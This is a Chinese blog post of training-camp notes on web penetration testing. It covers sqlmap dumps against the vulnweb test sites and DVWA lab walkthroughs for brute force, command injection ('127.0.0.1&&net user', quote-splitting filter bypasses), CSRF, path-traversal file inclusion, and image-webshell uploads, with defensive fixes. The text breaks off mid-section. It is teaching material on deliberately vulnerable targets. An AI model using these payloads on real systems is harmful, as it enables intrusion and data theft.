网易白帽子黑客训练营笔记(2)
文章目录
WEB安全实战
![image-20220710092756502](https://i-blog.csdnimg.cn/blog_migrate/0adcb88a4c8f5fdefc1fe3237aeb51cf.png)
![image-20220710092841461](https://i-blog.csdnimg.cn/blog_migrate/c4fd3e307c76df66e8ec37e8c5927e93.png)
安全测试之浏览器入门
工欲善其事必先利其器
火狐关闭组织弹出式窗口:
安全测试常用功能:
-
清除缓存
点击历史记录,进入后点击清楚浏览器数据
在弹出的窗口中进行清理
不得不提的隐身模式
找到打开新的无痕式窗口,点击进入
-
查看网页源代码
- 鼠标右键,点击查看网页源代码
- 也可在地址栏中直接输入URL查看源代码view-source
-
查看DOM元素
在想要查看处鼠标右键就可以打开开发者工具栏并定位到你想看的地方。F12也可打开开发者工具栏,左上角有个鼠标样式的按钮,也可以定位查看。
-
查看网络数据包
F12调出“开发者工具栏”,点击Network
F5刷新页面或进行相应操作
浏览器插件
以Firefox为例,点击扩展和主题进入
在查找栏中输入你要寻找的插件即可
找到对应插件下载安装即可。
![image-20220710101112368](https://i-blog.csdnimg.cn/blog_migrate/e0351f77b7b6fb4e93a8c7f6a4cf45f2.png)
firebug新版本下该扩展已经无法使用。而且firebug官方已经宣布停止对新版火狐浏览器进行适配。推荐尝试下其替代调试工具:Developer Tools。相对于firebug,该扩展集成于浏览器内部,功能更为强大。
![image-20220710101836567](https://i-blog.csdnimg.cn/blog_migrate/e7cdbc2ca86edc64f0ab43b088ff0c23.png)
HackBar为Firefox浏览器提供快速构造HTTP请求及多种编码变换的功能
![image-20220710103252658](https://i-blog.csdnimg.cn/blog_migrate/93ab9746a1eb4fa2fd46732b55ad671f.png)
编辑Cookie类插件为Firefox浏览器提供快速修改,增加,删除Cookie的功能。
代理工具介绍
代理工作原理:
ip代理工具的工作原理,等同于1个接入服务器端和网络服务器的“转运站”,在人们向虚拟服务器明确提出要求后,服务器代理先得到客户的要求,再将服务项目要求转送至虚拟服务器,并将虚拟服务器意见反馈的結果再转送到服务器端。这就相当于说,和服务器端沟通的是服务器代理,由它在表面,服务器端则掩藏在背后。
常用的代理工具包括:Burpsuite,Charles,Fiddler
Burpsuite:基于Java环境,跨平台,功能强大,除了代理抓包还有丰富的安全测试功能
Charles:基于Java环境,跨平台;代理抓包功能细致,操作简单
Fiddler:Windows下运行;提供免费的个人版本。
敏感文件探测入门
Python语言上手简单,Web功能强大,目前有很多Python语言开发的Web安全工具
下载Python安装包:www.python.org,官网下载,安装前点击Add Python to Path,方便后续使用,减少麻烦。
什么是“敏感文件”?
敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件如果没有保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。
常见的“敏感文件”类型:
网站管理后台,数据文件,备份文件,Webshell
敏感文件探测原理:猜测文件名,然后根据返回的HTTP状态码判断文件是否存在
(200:文件存在 301:文件发生跳转 404:文件不存在)
实战:用“御剑”扫描敏感文件
-
目标站点:http://testasp.vulnweb.com http://testphp.vulnweb.com
-
字典选择(参考):ASP.txt,DIR.txt,MDB.txt,PHP.txt
-
-
改进思路:
-
首先思考:字典越大越好吗?收集的时候字典越大越好,但扫描的时候字典越大扫描越慢,要做好字典的分类
- 用ASP的字典去扫PHP的站点就是无用功
-
如何判断常见网站脚本类型?(ASP,PHP,ASPX,JSP等)
-
一个简单的方法:判断index的文件类型
查看:index.asp,index.php,index.aspx,index.jsp等是否存在
-
-
如何生成针对性的字典?
-
可能存在的备份文件名(以目标站点为例)
testaspvulnwebcom.rar vulnweb.com.rar TESTASP.VULNWEB.COM.rar
-
利用python小程序:根据URL生成目标备份文件猜测字典
-
-
漏洞扫描工具入门
综合性Web漏洞扫描器:AWVS,Netsparker,AppScan
一款优秀的漏洞扫描器是一批安全专家将自己积累的“测试手法”和“测试经验”自动化的产物,是宝贵的智慧结晶。
本篇以AWVS为例(所有相关博客均可找我领取):
![image-20220714172601886](https://i-blog.csdnimg.cn/blog_migrate/9596cd07d83cb92dbad0516d35cecb7d.png)
![image-20220714172721983](https://i-blog.csdnimg.cn/blog_migrate/246ef6aacde65d61b4944c7eba62013a.png)
![image-20220714172756549](https://i-blog.csdnimg.cn/blog_migrate/4139bdf2d6ee6b35f13dec941de3ed6d.png)
![image-20220714172815943](https://i-blog.csdnimg.cn/blog_migrate/393d3b2cbf72e68dcbf9cdb73e76f0d6.png)
扫描流程与基本原理:
扫描配置与目标基本信息探测——>爬虫:目标站点页面爬取——>各个漏洞探测模块:具体的漏洞测试——>漏洞结果记录和呈现
改进思路:
- 对目标站点的误伤
- 如:高流量,请求了危险功能(如删除数据库)
- 漏洞扫描的盲区:逻辑漏洞
- 如:订单金额数据篡改漏洞
漏洞评级问题:
技术角度+业务角度(比重较大)
漏洞扫描结果的解读和运用:
-
测试用例可能需要调整
-
误报与漏报
-
将扫描结果作为人工测试的线索
尽信书,则不如无书
SQL注入漏洞测试入门
SQL注入的成因是因为服务器要执行的数据库代码拼接了用户输入的数据。
SQL注入漏洞的典型危害是可以被用来获取数据库敏感数据(拖库)
利器——SQLmap
命令行工具
1)只需要关注输入和输出
2)看到流程化的执行细节
sqlmap是一款开源的SQL注入漏洞检测与利用神器
![image-20220715175332185](https://i-blog.csdnimg.cn/blog_migrate/b449d31acf04c218dcf884826e1c5fc5.png)
发现和利用SQL注入漏洞的基本流程
- 找到有数据库交互的功能页面
- 判断页面是否存在SQL注入
- 利用SQL注入漏洞读取数据
- 导出所需数据保存
sqlmap为何被称为神器?
支持的数据库:
MySQL,
Oracle,
Microsoft SQL Server,
SQLite,
PostgreSQL,
Microsoft Access,
IBM DB2,
Firebird,
Sybase和SAP MaxDB
支持的参数设置:GET,POST or Cookie parameters or via the HTTP User-Agent request header
sqlmap基本语法:
小技巧:字母缩写前一个-,完整单词前是两个–
判断注入点:命令:python sqlmap.py -u “目标URL”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1
![image-20220715180429597](https://i-blog.csdnimg.cn/blog_migrate/88a6b668b057528e98017438a9eeb130.png)
查看用户:–users
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --users
查看有哪些数据库:-- dbs
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dbs
当数据库和用户较多时,我们会查看当前用户和当前数据库。
--current-user
--current-db
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db
读取数据库: --tables -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --tables -D “acuart”
读取表的列信息:–columns -T “表名” -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --columns -T “users” -D “acuart”
查看有多少条数据:–count -T “表名” -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --count -T “users” -D “acuart”
读取数据:–dump -T “表名” -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump -T “users” -D “acuart”
选择性读取:–start 2 --stop 3
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump -T “poducts” -D “acuart” --start 2 --stop 3
(读取第二条到第三条)
下载数据:–dump-all -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump-all -D “acuart”
![image-20220715191054516](https://i-blog.csdnimg.cn/blog_migrate/1158810e6e4c1930bba5b9a0d5cafe98.png)
![image-20220715191448010](https://i-blog.csdnimg.cn/blog_migrate/e59fb35312b7719bd8e0d3126c3919f4.png)
读取本地文件:-r
–data=DATA :Data string to be sent through POST (e.g. “id=1”)
在实际环境中,确定注入点以及基本的信息就可以了
在线工具详解
搜索引擎语法:
通过百度首页右上角的设置——>高级搜索
![image-20220715192435608](https://i-blog.csdnimg.cn/blog_migrate/f6003be3028e5088325038a94ac89e9c.png)
Google Hack技术:
- site:所搜在特定的站点信息(想搜索目标站点的页面)
- inurl:搜索URL中包含指定字符串的网址(想找到目标站点登陆地址并且暴力破解密码)
- filetype:搜索出特定后缀名的文件(想查看目标站点有没有邪路的数据库文件)
- 高级搜索技术:自由组合,灵活运用,会有惊喜
网络空间搜索:
万物互联:个人计算机和服务器,路由器,智能家电,平板电脑,收集,摄像头,工业控制设备等。
如果把每一个接入互联网的设备看做一个节点,就构成了我们的网络空间
Shodan,ZoomEy,FOFA
网络空间搜索引擎基本原理:探测/爬取——>识别/打标签——>存储供检索
在线Web工具
对目标站点进行基本信息探测:whatweb.net
![image-20220715195039603](https://i-blog.csdnimg.cn/blog_migrate/a1697f2272dc407c447dfcf219f4df3b.png)
IP站点查询:www.ipip.net
哈希值密文转明文:www.cmd5.com
站长工具:tool.chinaz.com
web安全实战
web安全是一门真枪实干的学科(挖漏洞)
web基础知识——>了解我们挖洞的对象
web安全基础——>我们可以挖哪些洞
web安全工具——>我们挖洞过程中可以使用的工具
web安全实战——>我们挖洞过程中的技巧以及填坑方法
web安全体系建设——>把挖洞作为事业来干需要注意什么
![image-20220716105452621](https://i-blog.csdnimg.cn/blog_migrate/d20781bb4957c42f6c84415b4eae792a.png)
误区:不要局限于某个系统,某种语言,某个工具,某段代码
我们学习的是挖洞思路。
DVWA部署
phpstudy:http://www.phpstudy.net/
浏览器访问自己电脑IP说明安装成功
DVWA:用php语言编写的web安全渗透测试环境
官网下载:http://www.dvwa.co.uk/
解压代码到phpstudy网站根目录
Tips:phpstudy默认网站根目录是安装目录下的WWW目录
打开DVWA数据库配置文件config/config.inc.php
因为MySQL默认账号密码是root,所以修改数据库配置文件为PHP study默认配置(将密码改为root)
访问http://自己电脑IP/DVWA目录/setup.php
点击“Create/Reset Database”按钮创建数据库
访问http://自己电脑IP/DVWA目录/login.php
输入用户名admin,密码password,成功登录
至此,DVWA部署成功
暴力破解
确认破解范围——>确认破解动作——>确认破解结果
OWASP ZAP可以截取并处理代理网口的数据包。
开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)是一个组织,它提供有关计算机和互联网应用程序的公正、实际、有成本效益的信息。其目的是协助个人、企业和机构来发现和使用可信赖软件。开放式Web应用程序安全项目(OWASP)是一个非营利组织,不附属于任何企业或财团。
ZAP则是OWASP里的工具类项目,也是旗舰项目,全称是OWASP Zed attack proxy,是一款web application 集成渗透测试和漏洞工具,同样是免费开源跨平台的。
手工破解
![image-20220716145522619](https://i-blog.csdnimg.cn/blog_migrate/3867c01ceaa384a1ee1efbd84eab71a9.png)
登录DVWA
用户名:admin 密码:password
调整安全等级:Low
![image-20220716145905071](https://i-blog.csdnimg.cn/blog_migrate/2fcc854e428871a17fe0f41bc5b265f3.png)
确认破解动作:
![image-20220716145959520](https://i-blog.csdnimg.cn/blog_migrate/e39468f3fb7881e0c242982492c15b1c.png)
- 输入用户名
- 输入密码
- 单击“login”按钮
确认破解结果:
![image-20220716150150392](https://i-blog.csdnimg.cn/blog_migrate/67b5778c974908a2a5351edd86e55ccc.png)
- 失败:输入任意用户名密码,如test/test
- 成功:一般情况下无法知道成功的破解结果,但可以确认与失败是不相同的
确认破解范围:
- 用户名字典(username.txt:admin,manage,system,root)
- 密码字典(password.txt:admin,root,123456,password,abc123,111111,qwerty,000000)
开始暴力破解:
手工循环操作的次数由字典的大小决定
成功破解用户名/密码为admin/password
出现如图所示的结果,说明成功:
自动实战
Firefox代理设置——>ZAP代理设置——>抓包
自动方法:错误响应页面4.381KB,正确响应页面4.424KB
确认破解范围:设置username字典,设置password字典
![image-20220716153620522](https://i-blog.csdnimg.cn/blog_migrate/0df2d811aab97369644a1219aa28efc4.png)
![image-20220716153751218](https://i-blog.csdnimg.cn/blog_migrate/3b634f9db42ed789f2b1555a25c5ca62.png)
开始暴力破解:点击“Start Fuzzer”
可以对数据包大小进行排序,最终可以看到我们成功的账号密码较大
Medium等级:我们按照Low难度的操作进行一遍,发现这次时间非常长。
上一次的响应时间是毫秒级的,而这次的是很多秒;
经过查看源代码,我们发现每错误一次就要等待两秒,会导致时间加长。
High等级:抓包发现每次登陆参数user_token都是动态且不可预测的随机字符串
下一次的user_token会在上一次的相应暴力返回给浏览器
![image-20220716155442928](https://i-blog.csdnimg.cn/blog_migrate/513c4eadda27ace1afdefb9a26198fa4.png)
针对这样的情况我们能不能攻破呢?答案是肯定的,我们需要重新设计破解动作
重理思路:
![image-20220716155629512](https://i-blog.csdnimg.cn/blog_migrate/823dcfcfe21034c227eeb0cdba969afe.png)
破解动作:访问首页——获得usertoken参数——发送带usertoken的登陆数据包
![image-20220716155830297](https://i-blog.csdnimg.cn/blog_migrate/3ccf0cc9250eade22f4403a97067fc48.png)
![image-20220716155917374](https://i-blog.csdnimg.cn/blog_migrate/403f3c409a598729474c5dfe0b19760f.png)
记录usertoken值:
设置攻击类型,Payload1和Payload2:
![image-20220716161036112](https://i-blog.csdnimg.cn/blog_migrate/fe2022cd87ef40d64034769c8318eee4.png)
设置Payload1 并导入字典:
![image-20220716161132168](https://i-blog.csdnimg.cn/blog_migrate/05ac216b83b2e75d5b29cc1c096aa43d.png)
Payload2设置:选择Recursive grep
![image-20220716161407134](https://i-blog.csdnimg.cn/blog_migrate/6e459c9ea16086fc3c59961d5e42bc6b.png)
找到Grep Extract 添加
![image-20220716161514942](https://i-blog.csdnimg.cn/blog_migrate/797068271d42bdcc0eba487441dde7f1.png)
1、refetch response 2、搜索token 3、选中 4、点击ok
![image-20220716161822097](https://i-blog.csdnimg.cn/blog_migrate/030af831c3f2f9dbfa231c3f7588272f.png)
redirections设置为always
![image-20220716161907723](https://i-blog.csdnimg.cn/blog_migrate/3987489cbbaa3a48c82f685979c7b255.png)
设置复制的user token
![image-20220716162015048](https://i-blog.csdnimg.cn/blog_migrate/97aea756ffbbd30423f586ae5aec96d7.png)
设置线程为1,然后点击开始爆破
![image-20220716162703187](https://i-blog.csdnimg.cn/blog_migrate/ccd0677fdf0fe9bce8da65c5d6619bcb.png)
成功找到账号密码
![image-20220716162623559](https://i-blog.csdnimg.cn/blog_migrate/28bb4d8816fa3b98de2b746ecb7fa58e.png)
Impossible等级:账号密码输错三次就会被要求等待十五分钟,有效地防止了暴力破解。
防止暴力破解除了限制错误登录次数,还有验证码。
命令注入
命令——>操作系统的命令
注入——>通过web程序在服务器上拼接系统命令
进入DVWA ,Security Level选择Low
进入Command Injection,是命令执行的主界面
![image-20220716181913362](https://i-blog.csdnimg.cn/blog_migrate/d95bd4a84fe15063a5b775c84e73cb37.png)
乱码问题解决方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”
正常操作:输入IP地址——>点击提交
![image-20220716182355942](https://i-blog.csdnimg.cn/blog_migrate/843e2eea135bf39fd6a8f6ed57e9ddb6.png)
猜测命令:显示结果——>ping 127.0.0.1
![image-20220716182508378](https://i-blog.csdnimg.cn/blog_migrate/696de5838b25c8819e041059c6b19707.png)
推测调用了我们的系统命令——ping命令
手工实战
确认可控字段:
- 固定字段:ping + 空格
- 可控字段:任意(127.0.0.1)
确认命令语句:
Windows下如何连接两条命令?使用**&&**符号
- 固定字段:ping + 空格
- 注入字段:127.0.0.1&&net user
输入注入命令,显示注入结果:
![image-20220719093132943](https://i-blog.csdnimg.cn/blog_migrate/142923e2935bb8140fd9f305ea6ab4f8.png)
命令注入流程:判断是否调用系统命令——>判断函数或函数的参数是否可控——>判断可控参数是否可以拼接注入命令
Medium:
首先我们输入和上一个一样的命令127.0.0.1&&net user
![image-20220719093621167](https://i-blog.csdnimg.cn/blog_migrate/da36f5c03c03a2f0fe816557ee84ab14.png)
我们发现&&符号没有显示,说明被过滤掉了。这时我们要思考Windows下除了&&还有什么符号可以连接两条命令?
一个&符号也是可以连接两条命令的,我们可以去试一下。127.0.0.1&net user
![image-20220719093918867](https://i-blog.csdnimg.cn/blog_migrate/a5c613cbd94b6eb3c3984c40fb695ca3.png)
成功执行命令。
High:
我们将上面两个在high上面都试一下,发现都是不可运行的。这时我们就要想有没有什么&还能连接两条命令?没错,就是|
127.0.0.1|net user
![image-20220719094207111](https://i-blog.csdnimg.cn/blog_migrate/a6d691cce2ba035094aadb90a053f4b3.png)
我们发现只有net user的结果执行出来了,ping命令并没有展示出来,这里并不影响我们的利用。
Impossible:限制了输入IP的格式,有效防止了命令注入
![image-20220719094450189](https://i-blog.csdnimg.cn/blog_migrate/4fa9cf75a05c5cafbc8eaa2d5b425472.png)
修复
通常我们会想到黑名单,但是对于SQL注入漏洞来说黑名单并不可靠,我们通常会选用白名单,要求输入的IP格式与我们规定的格式相同。
我们使用黑名单过滤了命令,在windows系统中我们可以使用” “来进行绕过(who”“ami,who”“am”“i),在Linux系统中更加灵活,Linux系统甚至还支持单引号(host‘ ’name)
实战技巧
&,&&,|,||命令拼接符的区别:
- A&B:简单的拼接,AB之间无制约关系
- A&&B:A执行成功,然后才会执行B
- A|B:A的输出,作为B的输入
- A||B:A执行失败我们才会执行B
如果不显示输出结果怎么办?
- 延时注入 Windows:ping 127.0.0.1 -n 5>nul Linux:sleep 5
- 远程请求 Windows:ping,telnet等。 Linux:wget,curl等
CSRF
跨站请求伪造(Cross-site request forgery),其中跨站请求是由受害者操作的,只有伪造是攻击者进行的。
受害者角度:用户在当前已登录的web应用程序上执行非本意的操作
攻击者角度:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作
手工实战
准备:firefox,dvwa,hackbar,foxyproxy,burpsuite
进入DVWA系统,难度选择Low,进入CSRF,是CSRF攻击的主界面,是常见的修改没密码功能。
![image-20220719102518617](https://i-blog.csdnimg.cn/blog_migrate/563fe69a8c92b07401edc6f52b09b2f9.png)
正常操作:输入新密码,再输入新密码,点击提交
![image-20220719102632944](https://i-blog.csdnimg.cn/blog_migrate/0a330dbc94b3dbb8ce51cb1fcf39e1af.png)
页面提示密码改变了,退出重新登录检验密码是否成功修改。
开启foxyproxy,用burp进行抓包,再次执行刚刚的三步操作
![image-20220719103818482](https://i-blog.csdnimg.cn/blog_migrate/c11ec36035f3b90be983d199a23c62b2.png)
打开数据包,修改数据包
退出重新登录,用修改过的数据包的密码登陆成功。
攻击者通过修改数据包的账号密码将其变成新的get请求,以链接形式发送给用户,希望用户点击以执行,通常会对这个链接进行重新包装,即重新构造HTML。
比较通用的方法就是快速构造HTML表单,将HTML表单输入到hackbar中,点击split URL进行分割
![image-20220719104616011](https://i-blog.csdnimg.cn/blog_migrate/655e075289b9a241196df20b87d6cf3f.png)
再将分割好的内容分别填入已经构造好的HTML函数
![image-20220719104843525](https://i-blog.csdnimg.cn/blog_migrate/33dd694a168b9aea0cc92947e0e85464.png)
通常黑客不使用click me按钮,而是使用JS脚本自动提交的。
将生成的html文件放入到phpstudy的根目录下。将包装好的链接发送给受害者,诱骗受害者点击。
受害者点击后,密码会直接被修改。即使受害者发现,此时黑客也已经使用你修改后的密码进入了你点账户,拿走了他想要的信息。
![image-20220719110307802](https://i-blog.csdnimg.cn/blog_migrate/0656d30d6cfb23c112fb0d3e62e8bc0b.png)
Medium:
我们尝试使用low等级的方法,受害者点击后,我们的修改密码界面会发生跳转,提示我们请求不正确
![image-20220719110345634](https://i-blog.csdnimg.cn/blog_migrate/b9fc5f1e6b3587df785e85939174358e.png)
我们继续进行抓包分析,手工输入修改是成功的。
然后我们对成功和失败的数据包进行分析,查找失败原因。
![image-20220719113502556](https://i-blog.csdnimg.cn/blog_migrate/0c06e020257e0af81c640b1dc0ac0c1a.png)
对比后我们可以发现请求包头部信息里面referer的信息不同,难道是medium对referer有限制?
我们接下来可以进行尝试,修改referer直到提示成功。
![image-20220719110910225](https://i-blog.csdnimg.cn/blog_migrate/b1e02b69203ae01dde563980f0718f98.png)
通过不断的修改我们发现referer只要包含host就能绕过限制!这样的校验是存在问题的,仅仅检验了是否存在host。这样就为后门我们的攻击提供了机会。
我们进行验证,将referer直接修改成host
![image-20220719112804944](https://i-blog.csdnimg.cn/blog_migrate/d831c867adf741364dc2798a9f68190a.png)
![image-20220719111912684](https://i-blog.csdnimg.cn/blog_migrate/307be7036b7323cf98206e90f609a091.png)
由此,我们攻击者的思路也应该由构造HTML转变为构造链接
![image-20220719112519448](https://i-blog.csdnimg.cn/blog_migrate/b24e346241d5c1f5b52550cf87e85ae6.png)
我们可以选择构造一个和host相同的文件夹,将html文件放入,这样我们的链接中就会包含host字段了。
后面的步骤就和之前一样了——诱骗受害者点击,受害者点击后,攻击者登录。
High:
![image-20220719113949011](https://i-blog.csdnimg.cn/blog_migrate/6bc05988ebb7414ec0edf5a2f7f9bbed.png)
对比medium和high的数据包我们可以发现,high在medium的基础上加了user_token参数,每次修改密码user_token都是不一样的。这里我们就可以想到前面做的暴力破解的High也是由user_token,并且user_token来自上一次的响应包。所以low和medium的方法我们都不能使用了,但是这并不是绝对的,如果该网站存在XSS漏洞,我们依旧可以结合XSS漏洞获取页面中的user_token参数。
CSRF Token:我们称这种类型的随即参数为csrf token,它保证了攻击者无法猜测到所有参数。
为何暴力破解可以突破CSRF Token?因为构造HTTP请求的人不一样:暴力破解的攻击者是当前用户,受害者是其他用户。CSRF的攻击者是其他用户,受害者是当前用户。
Impssible:需要输入原始密码,有效防止了CSRF
修复
校验Referer,随机Token(这个很有效,业内普遍做法),验证码(牺牲用户体验来遏制CSRF)
文件包含
文件包含等同于偷梁换柱。文件包含其实是一种代码处理方法,函数如include,require等,参数是文件名。
文件包含漏洞:文件名参数用户可控且过滤不严,被攻击者偷梁换柱。
文件包含:include(“hello.php”)
手工实战
进入DVWA,选择等级Low,进入File Inclusion,是文件包含漏洞的主界面。
![image-20220719145552306](https://i-blog.csdnimg.cn/blog_migrate/06aa7c842addf2ebc6b47fcd3d1924fe.png)
如果出现The PHP function allow_url_include is not enabled.说明我们allow_url_include没有设置,allow_url_include它是允许php远程包含url的配置,我们需要开启它。
配置方法:phpstudy主界面其他选项菜单——>php扩展及设置——>参数开关设置——>将allow_url_include打勾
按F5刷新就没有这个提示了。
正常操作:file1.php file2.php file2.php
我们发现URL除了page都没有变化。
尝试:将page改为test.php,发现报错:提示我们没有找到这个文件的信息,因为我们是随便写的,所以当然没有这个文件。也说明我们的尝试是正确的,服务器会去寻找这个文件。我们同时有新的发现,他爆出了web的绝对路径,这是我们后面要用到的。
![image-20220719150704261](https://i-blog.csdnimg.cn/blog_migrate/dab2403a7ba66ca42bc3dafd2f4e71e5.png)
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=xxx.php
include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\xxx.php ”)
固定字段:include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\
可控字段:xxx.php
攻击——本地文件读取
读取C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini内容
include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini”)
include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\…/…/php.php ”)
固定字段:C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\
可控字段:…/…/php.php
验证:先访问原始内容,查看文件里是什么。再访问我们刚刚构造好的URL进行访问,在页面顶部出现了php.ini的文件内容,所以我们读取成功。
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=…/…/php.ini
攻击——本地文件执行
读取其他目录的PHP脚本会怎样?显示内容还是执行PHP代码?
DVWA根目录有一个phpinfo.php的文件,可以显示服务端php的相关配置信息。
![image-20220719155426948](https://i-blog.csdnimg.cn/blog_migrate/bbee26a1c92d7e0d9af5fd0ea351937f.png)
phpinfo.php所在的文件位置与php.ini位置相同,说明文件包含不但能读取文件,还能运行文件。
攻击——远程文件执行
这个文件可以放在任何地方?只要有php代码的文件都会执行?
非PHP文件只要包含PHP代码就可以被执行。远程的执行不是在web攻击者的服务器上执行,因为这并没有什么意义,我们期望的是在受害者的web服务器上执行(用phpinfo.txt)。
phpinfo.php:
![image-20220719160906882](https://i-blog.csdnimg.cn/blog_migrate/ad17257bde54f68c9177c713bf6d8ba9.png)
phpinfo.txt:
![image-20220719161001662](https://i-blog.csdnimg.cn/blog_migrate/579b3065bbc45d3b80b35e4bee0a5cec.png)
Medium
根据Low直接执行php.ini是失效的,弹出错误信息,说明过滤了某些字符。
我们最终发现是…/这个字符串被过滤了。(使用排除法逐个排除)
![image-20220719161731671](https://i-blog.csdnimg.cn/blog_migrate/a9434d1bd0be4463d5caf5d489c1b7dd.png)
知道这些之后,我们就不能再使用…/来返回上层目录了。我们想到可以使用…\
验证:
![image-20220719161922652](https://i-blog.csdnimg.cn/blog_migrate/e228ea0b1fa8e0a398b326260f200a14.png)
果然成功读取了php.ini里面的内容。
远程文件执行过滤了http://完整字符串这样的整体,分开是不会过滤的
![image-20220719162045938](https://i-blog.csdnimg.cn/blog_migrate/412451381084b7def4e3e713710292bd.png)
解决的方法似乎也有
![image-20220719162203428](https://i-blog.csdnimg.cn/blog_migrate/8eba0fbc4b45d4e96f54ef7c44ea47cf.png)
成功攻破medium等级的远程文件执行。
High:
用Low和Medium的方法均失败。
我们不断尝试,发现服务端只认file开头的参数
![image-20220719162514703](https://i-blog.csdnimg.cn/blog_migrate/9f61fca2b92b11efc0ea8868f9790dcf.png)
file协议,文件传输协议,访问本地计算机中的文件
file://加上物理路径
验证:
file协议可以读取系统文件。
远程文件执行也是只支持file开头的字符串。这可就麻烦了,file协议只支持本地文件,远程的不支持。如果有一种方法可以将远程的文件传到服务器上就好了,这就是文件上传漏洞。这需要结婚文件上传漏洞,然后进行本地文件执行。
攻击者思路:攻击者不需要租户的web服务器,利用文件上传漏洞,上传含有恶意代码的文件——>获取文件所在物理地址——>成功执行恶意代码
Impossible:
只允许四个文件名,有效地防止了文件包含漏洞
修复
medium方法是黑名单方法,而high和impossible用的是白名单方法,白名单的方法更加有效,能够防止更多的恶意攻击。
文件上传
文件上传:文本中的常见功能,将本地文件上传到服务器上。
文件上传漏洞:web允许用户上传恶意代码文件,并在服务器上运行。
upload(“hello.php”),我们要做的就是将hello.php上传上去。
文件上传大小有限制: ( $uploaded_size < 100000 ),大于限制就会导致上传失败,上传前请调整好图片大小。
手工实战
准备:firefox,dvwa,hackbar,owasp ZAP
登录dvwa,选择Low等级,进入File Upload,是文件上传漏洞的主界面,是常见的上传图片的功能。
![image-20220720144510820](https://i-blog.csdnimg.cn/blog_migrate/82dcefa5ec5e86ef1e10911a6cea920d.png)
我们尝试直接上传一个php文件
![image-20220720150115005](https://i-blog.csdnimg.cn/blog_migrate/3bc68aab5860213681ddaece90d00f67.png)
通过显示的文件路径结合URL我们可以得出上传的文件存放发位置
![image-20220720150218730](https://i-blog.csdnimg.cn/blog_migrate/5d682b872e1fe9db7f3381e8e475dbde.png)
到对应的URL里查看是否上传成功,我们看到下面这张图就知道上传成功了,说明存在文件上传漏洞。
![image-20220720150444290](https://i-blog.csdnimg.cn/blog_migrate/86dceff54ec14c51c29cbfa7f2346cc5.png)
利用漏洞:通过一句话webshell
![image-20220720151721873](https://i-blog.csdnimg.cn/blog_migrate/c0352075657320c7cfe394b3559a75aa.png)
查看文件操作:
反斜杠\需要转译,所以这里都是两个反斜杠。
Medium:
直接上传php文件失败。提示我们:Your image was not uploaded. We can only accept JPEG or PNG images.
![image-20220720152937052](https://i-blog.csdnimg.cn/blog_migrate/77abfb655ac24d61ee4bbaf64a77fc6c.png)
看来我们要想别的方法了。我们用OWASP ZAP抓包试一下吧,
![image-20220720154032829](https://i-blog.csdnimg.cn/blog_migrate/2e60ec1dfd14dc2ca068658e9d8eb895.png)
对比上传图片和php抓到的包的POST数据的不同,主要有三处:文件名,文件类型,文件内容
我们不断用成功的包中的数据代替php包中数据的位置,最后确认是文件类型的地方被服务端限制了,也发现了破解medium的方法:将Content-Type修改为image/jpeg
![image-20220720160104488](https://i-blog.csdnimg.cn/blog_migrate/e1a0919787880101f2c8ef087a9e2bd8.png)
上传成功,进入URL测试一下,成功。
![image-20220720160723725](https://i-blog.csdnimg.cn/blog_migrate/be8a8052117a8e39e2e316cafef831c3.png)
High:
使用low和medium的方法对high都无效。
我们对比数据包发现还是那三个地方不同,我们最终确认是文件后缀和文件内容被限制了。
文件内容的限制真的是无懈可击吗?
制作内涵图:copy 1.jpg/b + 1.txt/a 2.jpg (其实就是图片马)
借助web文件解析漏洞:nginx解析漏洞
切换phpstudy:
![image-20220720171457955](https://i-blog.csdnimg.cn/blog_migrate/863868dd88ac62bb49683c42a08df22b.png)
打开配置文件,php.ini检查cgi.fix_pathinfo是否为1,一般默认都是为1的。不是1的话修改为1.
![image-20220720171652171](https://i-blog.csdnimg.cn/blog_migrate/c96900fc9d13f0f9e4387146dae04676.png)
这样的服务端设置就存在畸形解析的问题。xxx.xxx/xxx.php这样的路径只要前一个文件存在就会当成后面的php文件解析
![image-20220720172059452](https://i-blog.csdnimg.cn/blog_migrate/4cbaf40111365b715d419a617e028408.png)
这样php文件就能解析了。
Impossible:重新生成了图片,有效地防止了文件上传漏洞。
修复
阻止非法文件上传:文件后缀名的白名单,文件类型校验,文件内容头部的判断。
组织非法文件执行(例如impossible):文件重命名,文件压缩重生成,存储目录执行权限,存储目录与web分离
SQL回显注入
SQL注入:通过web程序在数据库里执行任意SQL语句
SQL回显注入:数据库的执行结果会直接运行到页面上
手工实战
准备:firefox,dvwa,hackbar,sqlmap
登录dvwa,选择Low等级,进入SQL Injection,是SQL回显注入的主页面
正常操作:输入1,提交,查询结果
![image-20220720190919460](https://i-blog.csdnimg.cn/blog_migrate/23cccb2e6583780791f5c3bc0c8bd731.png)
猜测这个SQL语句长啥样:SELECT First name,Surname from xxx Where userID = 我们输入的ID
先探测是否存在漏洞,最简单的是在1后面添加单引号‘,如果存在漏洞,就会按如下报错:
输入1’,提交,错误回显:
1是对的,1‘是语法错误的,所以他是存在SQL注入漏洞的。
三种注入POC:
